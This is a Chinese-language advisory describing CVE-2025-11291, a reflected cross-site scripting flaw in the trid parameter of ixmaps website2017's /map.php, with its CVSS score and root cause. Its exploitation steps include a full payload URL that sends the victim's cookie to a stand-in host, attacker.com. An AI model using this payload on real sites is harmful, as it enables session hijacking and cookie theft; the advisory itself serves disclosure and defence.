CVE-2025-11291CVE-2025-11291 是 ixmaps website2017 产品中发现的一个跨站脚本(XSS)安全漏洞。该漏洞存在于受影响版本的 /map.php 文件中,具体位于 HTTP GET 请求处理器的 trid 参数处。攻击者可以通过远程方式向该参数注入恶意的脚本代码,由于应用程序未对用户输入进行充分的过滤和转义处理,导致恶意脚本能够在受害者的浏览器中执行。
该漏洞的 CVSS 3.1 评分为 4.3,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),但需要用户交互(UI:R)才能触发漏洞利用。从影响范围来看,该漏洞对机密性影响为低(C:L),对完整性影响为低(I:L),对可用性无影响(A:N)。
值得注意的是,该产品采用持续交付与滚动发布模式,因此无法确定具体的受影响版本范围或已修复的版本信息。此外,漏洞发现者曾尝试联系厂商进行协调披露,但厂商未作出任何回应。目前该漏洞的利用代码已公开发布,可能被恶意攻击者利用,对使用该产品的用户构成安全威胁。
该漏洞的技术原理在于 ixmaps website2017 的 /map.php 组件在处理 HTTP GET 请求时,未对 trid 参数进行适当的输入验证和输出编码。攻击者可以构造包含恶意 JavaScript 代码的特制 URL,当受害者点击或访问该 URL 时,恶意代码将被注入到响应页面中并在受害者的浏览器上下文中执行。
具体利用方式如下:
1. 攻击者构造一个包含恶意 payload 的 URL,目标参数为 trid,例如:`http://target/map.php?trid=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>`
2. 由于应用程序直接将 trid 参数的值输出到 HTML 页面中而未进行 HTML 实体编码,导致恶意脚本被浏览器解析执行。
3. 攻击者可以利用该漏洞窃取用户的会话 Cookie、劫持用户会话、进行钓鱼攻击或在受害者浏览器中执行任意 JavaScript 代码。
该漏洞属于反射型 XSS(Reflected XSS),需要用户交互(如点击恶意链接)才能触发。由于无需认证即可利用,且利用代码已公开,攻击者可以轻易地发起攻击活动。